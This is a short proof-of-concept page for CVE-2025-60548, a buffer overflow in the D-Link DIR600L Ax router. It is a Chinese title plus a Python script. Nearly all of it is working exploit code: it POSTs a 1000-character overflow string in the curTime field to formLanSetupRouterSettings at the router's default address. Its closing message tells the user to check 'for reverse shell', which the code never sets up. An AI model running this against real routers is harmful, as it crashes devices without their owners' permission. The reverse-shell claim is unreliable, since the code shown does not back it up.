CVE-2025-60548 D-Link DIR600L Ax缓冲区溢出漏洞

import requests # CVE-2025-60548 PoC - D-Link DIR600L Ax Buffer Overflow # Target: formLanSetupRouterSettings via curTime parameter target_ip = "192.168.0.1" # Router default IP target_url = f"http://{target_ip}/formLanSetupRouterSettings" # Generate overflow payload with excessive length overflow_length = 1000 malicious_payload = "A" * overflow_length # Construct the PoC request data = { "curTime": malicious_payload, "apply": "Apply", "session_id": "test" } try: print(f"[*] Sending exploit to {target_url}") print(f"[*] Payload length: {len(malicious_payload)}") response = requests.post(target_url, data=data, timeout=10) print(f"[*] Response Status: {response.status_code}") print("[*] Exploit sent. Check router for crash or check for reverse shell.") except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}")